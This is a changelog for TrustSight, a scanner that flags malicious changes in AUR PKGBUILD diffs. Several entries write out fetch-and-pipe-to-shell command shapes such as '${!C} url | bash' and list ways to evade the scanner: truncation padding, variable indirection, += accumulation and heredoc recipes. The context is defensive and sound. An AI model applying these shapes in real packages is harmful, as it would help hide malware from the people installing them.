These are declared-practice findings, not benign rules: they do not establish that anything is benign, only that the recipe declares a practice. Everything TrustSight sees is attacker-declared and TrustSight never fetches, so a signal an attacker can assert for free must not be able to lower a score.
Measured consequence. Benign p95 moved 35 to 45 against the 3,246-diff
corpus, and benign diffs above the 20-point threshold moved 8.9% to 16.3%.
Separation still holds (benign p95 45 < malicious p5 60) with the margin
narrowing from 25 to 15. The control-bin-package-declared-source fixture
moved 20 to 35: it remains a control for the delivery rules and is no longer
one for the threshold. Twenty is left as the published threshold because
moving it is a calibration decision with its own evidence.
-
docs/security.mdno longer claims 20 is the benign 95th percentile. It was, before B10; it now sits at the 83.7th. The page states the measured distribution instead, and the gate fails if the stale claim returns. -
Every page describing the subtractive model rewritten: the scoring formula and tier map in
rules.md, the Tier D tables inevidence-tiers.md, the "Why verification subtracts" section inscoring-philosophy.md, the worked examples and breakdown legend inreading-a-report.md, plusconfiguration.md,explanation/index.md,corpus-and-priors.md,cold-start-and-maturity.md,auditing-before-update.md,configuring-rules-and-weights.mdandindex.md. The calibration figures inreading-a-report.mdwere re-derived rather than adjusted: zero-rate 74.9% to 69.1%, benign p95 30 to 45, test count 1,365 to 1,377. - Generators are record-preserving.
gen_malicious_fixtures.pyno longer deletes diffs it does not own,gen_injection_fixtures.pymerges with the existing record instead of overwriting it, andgen_historical_holdout_fixtures.pykeeps curated entries verbatim. Regenerating any generator on a clean tree is now a no-op by construction. - R012
user:role marker relabelled as a negative control. The engine deliberately excludesuser:role markers (a question addressed to a model carries no instruction); the generator previously emittedR012-v5.diffas a positive, which failed the malicious-recall gate. It is now a documented negative (must_not_fire: [R012, R013],max_score: 0). R029-known-dep-addedrecord dropped. A vestigial placeholder (must_fire: [],max_score: 0,known_packagesgate) with no rule implementation, no diff body, and no code path referencing it; keeping it would fabricate a fixture for a rule that does not exist.- Channel releases keep the canonical seed and prove their own plumbing.
The baselines workflow now checks the channel release for an existing
baseline-seed.tar.gzbefore building: the canonical seed is maintainer-built from the full AUR mirror and uploaded, and CI rebuilds a lock-derived fallback only when it is missing (auditable but smaller, and never overwriting an uploaded seed). Every seed built by the published scripts now shipstrustsight-seed-v2/seed-provenance.json(source mirror path and size, package, maintainer and observation counts, build timestamp and command line), written bygenerate_seed.py --provenance-outand copied into the archive bybuild_hashed_seed.py --provenance, so anyone can reproduce the seed and diff their record against the published one. A manual workflow run doubles as a pipeline test; see publishing baselines. - Release tarballs no longer carry
packaging/.export-ignorekeeps the PKGBUILD out of the GitHub source tarball, so the release artifact can no longer disagree with itself. The CI side of the checksum contract is v0.12.1:release-pkgbuild.ymlcomputes the checksum from the served tarball, verifies it withmakepkg --verifysource, and commits it to the default branch;pkgbuild.ymldownloads the actual release tarball and fails the build on a checksum mismatch instead of building with--skipchecksums. - Machine-readable output stays machine-readable.
review,inspect,history,list,corpusandiocin--jsonmode keep stdout a pure JSON document: warnings and progress events go to stderr, errors become a JSON error object with exit code 2, andreview --jsonresults carry an explicitfailedflag, unconditionalsuppressed_rulesandioc_matches, and score fields only under--scoreand--risk. Negative--limitvalues and unknown--typevalues are rejected with a clean error instead of a traceback. - IOC and baseline handling hardened.
ioc importdedupes identical rows instead of crashing, keeps expired rows of a source across re-imports (entries_skipped), treats naiveexpires_atvalues as UTC, and reports malformed manifest versions or encodings as clean errors;ioc updatehonoursTRUSTSIGHT_OFFLINE;ioc exportrefuses to overwrite an existing file;ioc sourcesdrops the placeholder row. The seed and baseline import path rejects archive members that escape the extraction directory (absolute paths,..segments),import-baselinerefuses a non-file path, anddb checkanddb backupsurvive a corrupt database with readable errors and validate the backup output path. full-aurrefuses to do nothing silently. An empty metadata fetch no longer clobbers the stored snapshot, fetch failures are wrapped in actionable errors, a missing--signkey is a hard error, invalid watch intervals are coerced to the floor, and a failed watch cycle is retried instead of killing the watcher.config setvalidates keys and value types andconfig showtolerates hand-edited non-integer weights;overridetolerates null reasons and dedupes new entries;forget --prunerefuses partial RPC replies and handles EOF on confirmation; discovery reports a friendly error when pacman is missing from PATH; the display layer escapes rich markup in untrusted messages.
Added¶
- B7, a change summary on every result.
changesonPackageFactand in the JSON, sibling tofindingsandcoverage_gaps, so "nothing fired" cannot read as "nothing happened". Plain strings, no severity, never intriggered_rules;.SRCINFOand.gitignoresuppressed as always-noisy. - B8, findings are checkable. Content rules carry
fileandline; the 40 rules that legitimately cannot (temporal, maintainer, corpus, longitudinal, dependency) declare an evidence class infindings.NON_CONTENT_RULESrather than omitting the field silently. - B9, no output grants permission to skip review. A denylist over the rendering templates, which caught a live violation on its first run: the no-findings verdict ended "No risk signals fired." with no direction to review, and now reads "No published rule matched. Review the diff before building."
scoring.FLAG_THRESHOLD, so the 20-point threshold is read rather than repeated.
Fixed¶
-
Resolved rules lost their line numbers. Fifteen shipped rules (
R001,R002,R003,R008,R012,R039-R045,R055-R057) matchmatch_target = "resolved", andapply_ruleslooked a finding's location up inline_mapby the finding's position in the compacted resolved list - butline_mapis keyed by raw diff-line index, and the resolved list omits assignment lines, so the positions did not line up. Every resolved rule fired with nofile/line(or, on a position collision, the wrong one). The tokenizer now records the raw diff-line index of each resolved string (tokenize_and_resolve_indexed), andapply_rulesmaps through it;full_aurgained theline_mapit never passed. The B8 gate, which caught this in CI, now runs undershipped_config()so a localrules.tomlthat overrides a rule'smatch_targetcan never mask it again. -
Three render bugs found by looking at the output, not by a gate. The Score row printed the previous row's caption as the risk band (a
for label, value in rowsloop shadowed it); the tool's own[cyan]markup printed literally in the Rules Triggered rows, because it was passed toText.assemble, which does not parse markup; and the declared-practice group left a ragged empty column for findings with no line number.
Added (security model corrections)¶
- B1 restated: determinism is algorithmic, not configurational. "The same
input always produces the same number" was false, and invited a Part D report
under the nondeterminism clause: two operators with different
rules.tomlget different scores by design. Reports now carry aconfig_fingerprint, a digest over the effective ruleset, scoring weights, thresholds and active overrides, so the claim is checkable. Part D's clause now reads "the same input, under the sameconfig_fingerprint, producing different numbers". - A14, the overarching resource guarantee. A4 bounds what arrives, A5 what is matched, A6 what is expanded; together, no package-controlled input decides how much CPU, memory, network or disk this process uses. Every bound is a source constant rather than a function of the input, and every bound that drops content records a coverage gap, tying the guarantee to B2 so a bound can never be used as a quiet skip.
- B9 inverted from denylist to structural requirement. A denylist over
phrasings is a treadmill. Every verdict now ends with a direction to review,
and the primary gate asserts that the direction is present rather than
that a phrasing is absent. Four of the five verdict paths were ending without
one (first analysis, first analysis with versions, the FATAL path, and the
signals path); FATAL now ends "Do not build this package. Inspect the diff and
report it." The denylist is retained as a secondary check and is now scoped to
template text only, via AST rather than a line regex, so a package named
safe-rsorclean-archcannot trip it. That is A7's separation applied to B9: templates are code-owned and checked, fields are package-owned and never checked. - A3: cloning executes nothing. libgit2 runs no hooks on clone and
TrustSight configures no
clean,smudgeorfsmonitorfilter, the git-config paths where a fetch becomes an execution. Documented as a property of the library rather than a control this project adds. - A10: sanitisation is not transliteration. A name built from homoglyphs renders as the characters it contains, because rewriting an identifier would misrepresent what is installed. Name-level confusability is a detection concern, not a rendering one.
- Baseline import reports its delta instead of warning on it: "N package(s) moved from no-history to warm". A threshold on "novelty dropped across many packages" would fire on the success case, since that is a baseline's entire function. A13's real defence is the bound on what a baseline may write.
Fixed (audit pass)¶
forget --pruneechoed database-stored package names raw. The A10 gate exercised the review, inspect and corpus renders and notforget,historyorlist, so the one surface printing unsanitised names was outside it. Now cleaned, and the gate renders six surfaces instead of four.historyandlistre-derived the band from the saved score, so a run thatreviewreported asInconclusive (incomplete analysis)displayed a bare "Low" or "Medium" the next time it was listed, violating B2 on two surfaces.scoring.stored_band()now reads the band and gaps from the row'sfact_json; rows written before that field existed fall back to the derived band and are reported as complete, which is the only honest thing to say about them. Band colour keys off the bare word viadisplay.band_colour().- The change summary never reported dependency changes. Dead twice over:
fact.dependency_changeswas set by nothing, andchanges.summariseread a{op: names}shape whileextract_dependency_changesreturns{field: {added names}}. Addingdepends=('qt6-svg')now yieldsdepends: +qt6-svg. DECLARED_DEFAULTwas defined and referenced nowhere, so every declared practice rendered every time and B10's documented default-subset behaviour did not exist. Now applied: the surprising-by-absence set (P002,P003,P005) renders by default with "N more declared practice(s); --verbose to list them", andPfindings no longer duplicate into the Rules Triggered block.- The calibration wording overclaimed.
calibration_gates.pyre-computes benign p95 and malicious p5 on every push and nothing else, so the aggregate figures are a point-in-time measurement.security.mdnow says so, andfire-rates.mdactually publishes the table it was said to publish. - The seed release path logs through a real logger.
db.pyreferenced a modulelogit never defined, masked until now by a broad exception handler, so failures while seeding from the release channel died without a reason; the module logger is defined and a test pins the failure path.config.py's\sescape no longer triggers a SyntaxWarning, andexport.pydrops a dead assignment left over from the baseline export rework.
Performance¶
- Analysis is about 42% faster: 14.9 ms to 8.7 ms per diff, and a full 3246-diff corpus scan now completes in 31s. Detection is bit-identical: the calibration gates, the campaign fixtures and the whole suite were re-run after each change.
tokenizer.resolve_added_linesis memoised per thread. Twenty call sites inanalysis/asked for the resolved form of the same diff and it was recomputed every time, about a third of the cost. Keyed on identity rather than equality, because hashing a multi-megabyte diff twenty times to avoid computing it twenty times is not a saving.rules._classify_enclosing_functionis memoised the same way, keyed on content because each of its fifteen callers holds its own copy.config.load_tomlgainedcopy_result=Falsefor the six accessors whose callers treat the result as read-only.load_rulesandload_configkeep the deepcopy:apply_rulesgenuinely assigns torule["pattern"].- Both memos are thread-local.
reviewanalyses packages in a pool, and a shared cache would need its eviction sweep to be atomic with the insert; it is not, and aKeyErrorin a worker surfaces as "this package was NOT vetted". Five tests pin the properties that make the memos safe: no sharing between callers, no confusion between diffs, no leakage across threads, and no mutation of the shared config tables.
Fixed¶
- The truncation bypass. Padding a diff past
max_diff_bytesand appending the payload turned a High into a Low.diff_truncatedwas set, serialised, and consumed by nothing but a sentence prepended to the verdict. It is now a coverage gap, andscan_diffapplies the same cap the git path always did. Inconclusivewas computed and then discarded. Every CLI path re-derived the band withrisk_level(final_score), which cannot express it, so the downgrade never reached the output.- AUR-controlled text reached the terminal raw. Package names, maintainer names, file paths and quoted evidence could clear the screen, forge a verdict, recolour a row, or abort the render of a whole review batch with an unbalanced Rich tag.
- A seed could rewrite the database it was merged into.
import_seedcopiedseed.metadatawholesale withINSERT OR REPLACEand overwrotemaintainer_counts. It is now limited to the two keys a seed owns, cannot raise a locally learned maintainer count (which would suppress R071/R090), and records the imported artifact's SHA-256 and origin. - A FATAL rule could be deleted from
rules.toml.override.pyalready refused to suppress a FATAL finding; deleting or downgrading the rule was unguarded.config.enforce_fatal_rules()now re-asserts the shipped FATAL set in memory at load, warns, and writes nothing back. - The AUR metadata fetch had no timeout and no response cap, unlike every
other fetch path. It is on the default
reviewpath, so it was the one that would hang. - Rule patterns ran on unbounded lines. Input is clamped to 8 KiB per
logical line before matching, which bounds every pattern at once. The clamp
is itself a truncation seam, so a diff containing an over-length line now
records the
line_truncatedcoverage gap rather than skipping the tail silently. _MAX_EXPANSION_DEPTHwas declared and never applied. Removed, along with a dead helper inresolve_expansions. A bound nothing enforces reads like a guarantee. The bounds that are real (passes, value length, line length, table size, and refusing${!x}and${#x}) are now stated as invariant A6.- Config lists became regex.
hosts.tomlports and TLDs are now escaped before being joined into the R047/R048 patterns. corpus pivotread a snapshot from the working directory, so the answer depended on where the command was run and a planted file could steer it. One location now, under the config directory.- Three more instances of one recurring failure, now written up in reviewing a security control: a control applied at one of several equivalent call sites, with the gate pointed at a covered one.
terminal output is inertexercisedreview's renderer only._inspect_richinterpolated a rule id raw and leaked escape sequences; the gate now renders through four paths and names them in its result, andcli/corpus._render_pivotwas extracted from its command so it could be one of them.- Four of the five
PackageFactproducers setcoverage_gaps. The first-analysis path declaredtree_analyzed=Truehaving read no tree at all and reported a bare "Low". The newevery result declares its coveragegate walks the AST for every construction, so a sixth producer fails rather than shipping a false coverage claim. pacman -Sl <repo>had no--separator, unlike thepacman -Qcall beside it. The repo name is operator input rather than package input, so this is consistency rather than a hole, but the separator is free.- The line clamp only covered half the rule engine. A5 claimed the 8 KiB
per-line bound applied to every pattern "in a way that no per-pattern audit
can". It applied to
apply_rules, which runs the ~30 patterns inrules.toml, and not to the ~88 patterns emitted fromanalysis/, which match the diff text directly. Measured on one 5 MiB line: 0.17s throughapply_rules, 15.06s through the code-emitted rules, an attacker-chosen multiplier on review time bounded only bymax_diff_bytes.rules.clamp_textnow clamps the text handed to the code rules at all three call sites, shortening lines without dropping them so line numbers stay aligned. Same input is now 0.54s end to end, withline_truncatedstill recorded. The gate was measuringapply_rulesalone, which is why it reported the property as held; it now measuresscan_diffend to end and asserts the gap is recorded, so bounding the work cannot silently bound the evidence. - The reserved-name guard covered one writer of three.
upsert_packagerefuses__seed__and any__-prefixed name;save_package_profileandsave_pkgbuild_snapshotdid not, and both are on theimport_baselinepath. AUR names may begin with an underscore, so__seed__is registrable. No leak into user-facing queries was reachable (those filter the sentinel), so this was a latent inconsistency rather than a demonstrated exploit. All three writers now refuse,db.is_reserved_namelets corpus callers skip instead of raising, and the baseline importer treats a rejected row like a nameless one: logged and skipped, never fatal to the import. - A heading rename could silently break every link to it. Renaming a
section leaves every sentence on the page true and quietly disconnects the
claims that pointed at it, with nothing failing anywhere: the documentation
form of skipping content without recording a coverage gap. It nearly happened
when B2 was reworded. The
doc cross-references resolvegate now walks everydocs/**link, resolves the file and the anchor, and fails the build on a dangling one. Inline code and fenced blocks are excluded, since a rule pattern such as(?<![^\x00-\x7F])[...]contains](...)and is not a link. - Two
--helptests asserted on styled bytes. Rich renders an option's leading hyphen as its own span, so the literal--repois not in the output even though the flag is there, and which spans Rich splits moves between versions. The assertions now strip styling with the project's ownsafe_text.clean, which makes them width- and version-independent and exercises the sanitiser at the same time. differ.map_diff_linescorrupted filenames.lstrip("b/")strips characters, not a prefix, so+++ b/build.shreported findings againstuild.sh.
Changed¶
docs/contributing/security-review.md, a new page: how to scope a gate so it covers the entry point an attacker reaches, the four times this project got it wrong, and a table of which gates enumerate the whole source and which sample a single path.- Punctuation normalised across the docs to
: ; , () -, with no em dashes, en dashes or spaced--anywhere. Pinned bytest_docs_use_standard_punctuation, because it had drifted back three times. docs/security.mdreorganised around a thesis. The page now opens with the position it is defending (TrustSight is the instrument panel, not the airworthiness certificate; a sensor that was never wired must not read the same as a sensor reporting zero) and the evidence taxonomy that follows from it, before the four parts that make it enforceable. The operative claim is that the tool must never move between taxonomy rows silently, which is what Part B's coverage rules and Part C's gates exist to prevent.--watchis described in Part A. A watch loop changes the volume of fetching, not its shape: per-request bounds still apply, plus an interval floor and an optional cycle count. The absence of any hook or notification command is now stated explicitly, along with the boundary such a hook would need if one is ever added, since it would receive attacker-influenced JSON.docs/security.mdstates its assumptions. The trust boundary is now explicit and complete: the Python runtime, the operating system, local filesystem permissions, the TLS trust store, CI, and the tool's dependencies (rich,pygit2,typer,tldextract, SQLite,libc) are all trusted rather than defended. If any of them is compromised, the page states, the model no longer applies. What was implicit is now the border.- Rendering has no model in it, and that is now a stated invariant. Verdict text is a template keyed by rule id filled with named evidence fields; values are substituted, never re-expanded or evaluated, and no template comes from package-controlled text. The output path therefore has no network dependency, no nondeterminism, and no prompt-injection surface. R012 still detects injection aimed at whoever reads the diff.
- Maturity numbers made exact across the docs.
_MATURITY_THRESHOLDis 50, so the Inconclusive gate atmaturity < 0.5means fewer than 25 recorded analyses. Pages variously said "50 observations" or "approximately 25"; they now say both numbers and how they relate. - Documented claims corrected to match the code. The
source_resolutionfield named in four pages never existed; "no external API is involved" was false (four AUR endpoints, now stated precisely); the Inconclusive predicate was documented as stricter than it is; R122 is documented as having no call site rather than implying corpus-side coverage it does not have; the exit code table claimed a flag-driven exit that was never implemented, anddocs/guides/using-in-ci.mdgated on a JSON shapereview --jsondoes not emit. - The exit-code contract is now enforced, not just documented. An
operational failure exits 2 everywhere:
cli/main()wraps the app so an uncaught failure exits 2 with a message on stderr, and the remaining operationalExit(1)sites (review discovery, inspect not-found, forget prune/abort, override add/remove, db check, lint-rules) now exit 2. Exit 1 is no longer used by any command; a verdict still never changes the exit code.
Added¶
- R132: a command or shell named through
${!name}indirection.C=curl; ${!C} url | bashruns curl while the recipe carries no literal curl and no literal shell for R001/R002/R129/R121 to name, because the tokenizer refuses to evaluate indirection it cannot know statically. Flagging the indirection itself (CRITICAL, obfuscation, stagedanti_analysis) closes that whole family; the benign${!arr[@]}and${!prefix*}key-and-name-listing forms are excluded by construction. - The evasion fixture corpus (
scripts/gen_evasion_fixtures.py). Recipe shapes that bypass the engine are written down before they are closed and kept as the record of what the engine can and cannot yet see. Six original evasions (indirect expansion,+=-accumulated commands and deps, heredoc-fed and heredoc-written recipes), of which five are now detected and relabelled into the recall corpus, plus three new open gaps filed for the rules that will close them: R133 (array-subscript routing), R134 (nameref routing) and R135 (command-substitution spelling). Each fixture enforces its state in both directions: an open gap must fail its label, a relabelled fixture must pass it, so a patch that closes a gap turnsgate_known_gaps_unchangedred instead of leaving a stale record.
Changed¶
- The source-bucket prior scores at its worst URL, not its sum. Each
added URL contributed its bucket modifier individually, so appending the
same suspiciously hosted URL many times (the
discord_arch_electroncase: ~26 entries at +20 each) stacked into CRITICAL on the strength of a single weak fact. The prior is now the maximum modifier over all added URLs: one diff whose provenance is unknown, not thirty separate facts, which restores the calibration separation (benign p95 strictly below malicious p5).homograph_attackstill dominates at +30, and trusted forges still contribute nothing. - The assignment resolver accumulates
+=._ASSIGNMENT_REnow reads the operator:=is a fresh binding,+=appends to the current value (a fresh name starts empty, matching bash). A fetch command assembled acrossC+=curl/C+=' https://…'lines therefore resolves to a literalcurl https://… | bashthat R001 owns, instead of staying an opaque$Cthe literal-matching rules step over. - The synthetic fixtures now validate under the shipped config before
writing.
scripts/gen_malicious_fixtures.pyresolves labels against the same cold-DB,shipped_config()contextscan_maliciousruns in, so a rule that stops detecting fails at generation time, and a fixture whose label was hand-reconciled (R004/R009/R025/R026/R027/R039/R059/R128/R129/R130) can no longer be silently clobbered by a regenerate.
Fixed¶
depends+=was invisible to the dependency rules. Accumulated dependency declarations were never parsed as declarations, so a recipe that appended todependscold showed no finding at all. The generator now keepsevasion-depends-via-plus-eqfiled as an open gap (novelty rules are DB-backed and silent under the gates' cold DB) rather than pretending the parse gap is closed.
0.11.0 - 2026-07-30¶
Added¶
inspectoutput redesigned. Single Panel with "Rules Triggered" header, Score/Risk at bottom,--score/--riskindependent flags.review--riskflag. Coloured border by risk level and Risk row.- Dedicated "Files changed" section in both review and inspect, showing each file with
+/~/-prefix. override wizard <package>command. Interactive rule suppression per package.- R081 (foreign package manager in install hooks) and R082 (shell obfuscation density ≥3 patterns) graduated from experimental to enabled by default. Zero false positives on a 3243-diff benign corpus.
Changed¶
src/trustsight/analysis.py(1080 lines) refactored intoanalysis/package:base.py,build.py,dependencies.py,maintainer.py,pipeline.py,structural.py,temporal.py.src/trustsight/cli.py(2035 lines) refactored intocli/package:admin.py,app.py,display.py,forget.py,history.py,inspect.py,list_cmd.py,review.py.python-cryptographypromoted from optdepends to hard dependency (resolves namcap warnings about uninstalledcryptographymodule at runtime).packaging/aur/README.mdcorrected:python-tldextractis in theextrarepository, not the AUR.
Fixed¶
fetch_metadata(on_progress=...)signature mismatch. Thereviewcommand passed anon_progresscallback tofetch_metadata()but the function did not accept it, crashing withTypeErrorwhen the metadata-dump download path was taken. Added theon_progressparameter tofetch_metadata().- Nested parameter expansions in PKGBUILD variables now resolve correctly via brace-depth tracking.
__seed__sentinel excluded from user-facing database queries. Unanalyzed packages show-instead of stale seed-derived scores.- Version display contract enforced:
Noneshows as-, unresolvable strings as"unresolved", across all CLI output paths. - Conftest fixture conflict resolved.
0.10.0 - 2026-07-29¶
Added¶
- Regression tests for metadata-dispatch bugs (first-run sentinel, repo
warnings in metadata path, cross-referencing repos, deduplication).
7 new tests in
tests/test_cli.py. optdependsforpython-cryptographyandpyalpminpackaging/aur/PKGBUILD.- Line mapping for findings.
map_diff_lines()maps diff line indices to file names and line numbers. Findings fromapply_rules()now carryfile/linecontext propagated throughScoreEntryandPackageFact. - Per-file change tracking.
DiffSummary.file_changeslists every changed file with its status (added/removed/modified), excluding.SRCINFOand.gitignore. - Corpus analysis adapter.
analyze_package_text()analyzes raw old/new PKGBUILD text viadifflib.unified_diff, enabling the full-AUR corpus pipeline (no git repository required).
Changed¶
get_installed_from_repo()rewired frompacman -Q --repo(which missed packages not tracked as repo-origin) topacman -Sl <repo>+pacman -Q. The old approach only found packages whosepacman -Qshows an explicit repository name; the new one lists the repo's contents via-Sland cross-references with-Q.- Discovery for
reviewreplaced AUR RPC calls with the local metadata-dump snapshot (full-aur-meta.json, fromfull_aur/metadata.py). Installed versions are compared against snapshot versions viavercmpinstead of per-package AUR RPCinfoqueries. Falls back to the RPC on failure. - Repo warnings split into two distinct messages:
repo 'X' does not exist(whenpacman -Slfails) andrepo 'X' exists but no packages from it are installed(when the repo exists but-Qfinds nothing). _get_installed_packages()now correctly cross-references repo packages and foreign packages, respecting--repo,--foreign, and--all-reposflags. Previous implementation only collected foreign packages when a repo was specified.- First-run sentinel.
_discover_packages()returns(None, 0)on the first metadata fetch so thatreview()does not emit a duplicate "No outdated packages found" message. - Python >=3.11 required.
requires-pythonbumped from>=3.10to>=3.11. Thetomlicompat shim (src/trustsight/_toml.py) and its conditional dependency inpyproject.tomlare removed. All imports use stdlibtomllib. - CI matrix drops Python 3.10.
Fixed¶
- All 3 namcap warnings resolved by removing the
tomlidependency and addingoptdepends.
Removed¶
watchcommand. Removed in favour of runningtrustsight baseline buildvia cron. Thebaseline buildcommand already handles incremental updates (diff + process changed) when a prior metadata snapshot exists. Use--jsonfor machine-parseable cron output.src/trustsight/_toml.pyremoved along with thetomlifallback for Python 3.10.
0.10.1 - 2026-07-29¶
Added¶
forgetcommand.trustsight forget <package>...removes packages from the local database. Supports--prune(remove packages not in the AUR),--dry-run(preview without deleting), and--yes(skip confirmation). Cascading deletes across 7 database tables. Documented indocs/reference/cli.md.- AUR verification on
inspect. Theinspectcommand now verifies a package exists in the AUR before analysis, with graceful fallback to cached local data when the AUR RPC is unreachable.
Fixed¶
- Nested parameter expansion in PKGBUILD variables. The resolver now
handles constructs like
${srcdir}/${pkgname}-${pkgver}by recursively expanding nested variable references.resolve_expansions()and supporting helpers (_expand_one(),_glob_to_regex(),_strip_affix()) added totokenizer.py. 20 regression tests. __seed__sentinel leaking into listings. The synthetic__seed__package (used for first-run detection) no longer appears inlistoutput or other user-facing queries.get_package_id()andget_package()returnNonefor reserved names;upsert_package()raisesValueError.- Unanalyzed packages showing
0/100 Low. Theinspectandreviewcommands now display-for score and risk when a package has not yet been analyzed, instead of misleading0/100 Low. - Empty version strings shown as
unresolved. Version strings that do not match the plausible-version regex (e.g. unresolved PKGBUILD variables) display asunresolvedin all output paths.
Changed¶
- Test fixture import resolution.
tests/conftest.pyinsertssrc/intosys.pathso that pytest can resolvetrustsightimports without relying on the installed package.
0.9.0 - 2026-07-28¶
Removed¶
- LLM integration.
src/trustsight/llm.pydeleted; verdicts are now entirely deterministic using rule-specific templates inverdict.py.openai>=1.0and[project.optional-dependencies] ollamaremoved frompyproject.toml. The--simpleflag onreview/inspect, theconfig setupcommand, the[llm]config section, and theTRUSTSIGHT_API_KEY/TRUSTSIGHT_BASE_URLenvironment variables are all removed.
Changed¶
-
Verdicts now deterministic. Each rule description includes its rule ID in brackets, e.g.
"maintainer changed to 'bob' [R071]". Thefallback_verdict()function renders from a_TEMPLATESregistry keyed byrule_id, falling back toentry.reasonif no template exists. -
FATAL verdict punctuation. The second sentence now begins with a capital letter for readability.
-
Packaging. LLM optdepends (
python-openai,ollama) removed frompackaging/aur/PKGBUILDand.SRCINFO.
Fixed¶
- All 12+ documentation files swept of LLM references.
--verboseadded to the commands table inREADME.md.
0.8.0 - 2026-07-27¶
Added¶
-
Full-AUR corpus builder.
trustsight baseline buildfetches the AUR metadata archive, downloads PKGBUILDs via cgit with snapshot tarball fallback, runs the full analysis pipeline, and persists results. Progress is saved every 1000 packages for--resume.trustsight baseline importmerges a signed corpus artifact into the local database.trustsight watchpolls the AUR metadata on a configurable interval and analyses only the changed packages, optionally firing alert hooks. -
Property stability tracking. Eleven per-package, per-key property dimensions are recorded on every analysis with a SHA-256 value hash and a
stable_for_ncounter (accumulates on identical observations, resets on change). Feeds longitudinal rules R094-R102. -
Canonical reproducible serialisation.
canonical_artifact_bytes()produces byte-identical output from the same corpus inputs. The signed payload records the ruleset version, scorer version, and corpus cutoff in a deterministic manifest. -
ed25519 artifact signing.
build_artifactaccepts--sign KEY.import_baseline()verifies against the shipped public key and refuses unsigned artifacts by default (--allow-unsignedfor local builds). -
config setupinteractive wizard. Walks through provider choice (openai, ollama), endpoint, API key (masked), model name, and connection test. -
--simpleflag onreviewandinspectto skip the LLM verdict. -
First-run welcome banner. Shown on first
reviewwhen the novelty seed is imported, printing config path, database path, and next-step suggestions. -
config setextended.model,timeout, andproviderkeys now accepted alongsideapi_keyandbase_url.
Changed¶
-
TemporalContext unifies both analysis paths. The git-based and corpus-based paths share a single
TemporalContextparameter that declares the clock source (git_commit,aur_metadata,observation_history) rather than deriving timestamps internally. The clock source is recorded on everyPackageFactastemporal_source. -
historysuggestsinspectfor unanalysed packages. Instead of"not found in history", now says"Run 'trustsight inspect X' first."
Fixed¶
- LLM verdict always used in
inspect. Previously calledfallback_verdict()unconditionally instead ofgenerate_verdict(). - API exceptions and suppressed verdicts now logged at
warninglevel. Previouslydebugmade them invisible.
0.7.2 - 2026-07-27¶
Added¶
-
New CLI commands.
trustsight listlists all packages tracked in the database with their latest score, risk, version, and maintainer.trustsight statusshows database health statistics (packages tracked, total analyses, effective observations, dependency corpus status). -
Database maintenance commands.
trustsight db checkrunsPRAGMA integrity_check.trustsight db vacuumreclaims disk space from deleted rows.trustsight db backupcreates a safe online backup viasqlite3.backup()without stopping the application. -
AUR RPC response cache. A new
aur_cachetable stores AUR version lookups so repeated reviews do not re-query the AUR server. Config key[discovery] cache_ttl_minutescontrols freshness (default: 60 minutes; set to 0 to disable). -
inspect --verboseflag. Threaded through to both the rich and plain output paths. In JSON mode it includes the score breakdown in the output. -
PRAGMA busy_timeout=5000. The database connection now retries locked writes for 5 seconds instead of raisingOperationalError: database is lockedimmediately.
Changed¶
-
Pipelined analysis and LLM verdicts. The batch-review path replaced its serial analysis loop with a
ThreadPoolExecutorwhere each task runsanalyze_package()followed immediately by_verdict_for()in the same thread. Analysis and LLM calls now overlap across workers instead of running strictly sequentially, reducing wall time by roughlymin(total_analysis, total_llm)seconds. -
AUR RPC queries are cached.
get_aur_package_info()checks the local cache before making HTTP requests; only packages not in cache (or whose cache entry has expired) reach the AUR server.
Fixed¶
_run_analysis_loop()output indentation. The rich-table and plain-text output branches were nested insideif json_output:(after itsreturn), making them dead code. Restructured into a clean three-way branch.
0.7.1 - 2026-07-27¶
Added¶
-
Database schema migration for
current_maintainer. A migration step (_migrate+_ADDED_COLUMNS) now safely adds columns that were introduced after the initial schema shipped. Existing databases created beforecurrent_maintainerexisted will have it added on the first run, fixing a crash on upgrade. -
Concurrent prefetch of AUR repositories. The batch-review path clones or fetches all package repos in parallel before beginning analysis, so the network latency of 20 sequential fetches no longer dominates the runtime.
-
AUR RPC helpers.
get_aur_package_infoandget_aur_latest_versionsbatch-query the AUR RPC interface, replacing individual per-package lookups and reducing network round-trips. -
Drift detection for shipped rules.
drifted_shipped_rules()compares the on-diskrules.tomlagainst the shipped template, flagging when a rule definition has drifted from the canonical copy. -
diff_truncatedfield onPackageFact. Marks analyses where the diff was truncated, so the report can indicate the change was only partially examined. -
_prefetchuniqueness invariant. An assertion guarantees that_prefetchreceives unique package names, preventing redundant parallel clones. -
Test fixtures shared via
conftest.py.SHARED_RULES(R001-R013) andSHARED_CONFIG(five top-level keys) are now defined once and imported bytest_analysis.py,test_rules.py,test_scenarios.py, andtest_scoring.py, removing 173 lines of duplication across four test files.
Fixed¶
-
IDN homograph false positive.
has_homograph()no longer flags single-script labels containing non-ASCII Latin letters or combining marks. Only mixed-script labels are confusables per UTS #39 Highly Restrictive. Legitimate IDNs likemünchen.deandcafé.frare no longer reported. The_latin_with_combining_marks()helper was removed entirely. -
PKGBUILD
check()function. Now builds a venv with--system-site-packages, installs the built wheel, and runs pytest (excludingtest_fetcher.pyandtest_rebaseline.py). The previous barepython -m pytestcall failed against an uninstalled source tree.
Changed¶
-
Thread-local connection caching. Database connections are cached per thread and per database path rather than opened per query. The hot paths issue thousands of small reads; opening a connection once instead of per query reduces overhead from ~0.35ms to effectively zero on repeat use.
-
_is_currentuses HEAD commit time as fallback. When no marker file exists (clones from earlier versions), the local HEAD commit time is compared againstupstream_mtime. This eliminates a redundantgit fetchfor every package whose clone is already up to date, cutting the batch-review wall clock from ~2min to ~3s for a 19-package run. -
_ensure_initruns init once per process.ensure_default_configs()andinit_db()are now called at most once per process via a module-level guard. Previously they ran on everyanalyze_package()call, adding ~100-200ms per package. -
R066 (
_package_is_new) capped at 100 commits. The brand-new-package check previously walked the entire DAG to find the root commit. Packages with more than 100 commits are now skipped (they are definitionally not new), eliminating full-history walks that cost ~30-50s for packages with thousands of commits. -
Lazy
__version__loading. The version string is now loaded via PEP 562__getattr__instead ofimportlib.metadata.version()at import time, avoiding a 46ms penalty on everyimport trustsight. -
Pattern cache in
rules.py. Compiled regex patterns are cached across diffs, avoiding repeatedre.compilecalls that dominated the diff-analysis hot path. -
Typosquat detection uses
top_dependency_pairs(). The rank-and-compare loop now fetches name-count pairs in a single query instead of running one query per candidate, fixing a performance regression on large databases.
Removed¶
-
Dead code and duplicate patterns.
parse_srcinfo_with_pkgbase(uncalled) and several unreachable lines insrcinfo.pywere removed._PINNING_ORDERwas unified inbuckets.py;risk_level()is now the single source of truth across all callers. -
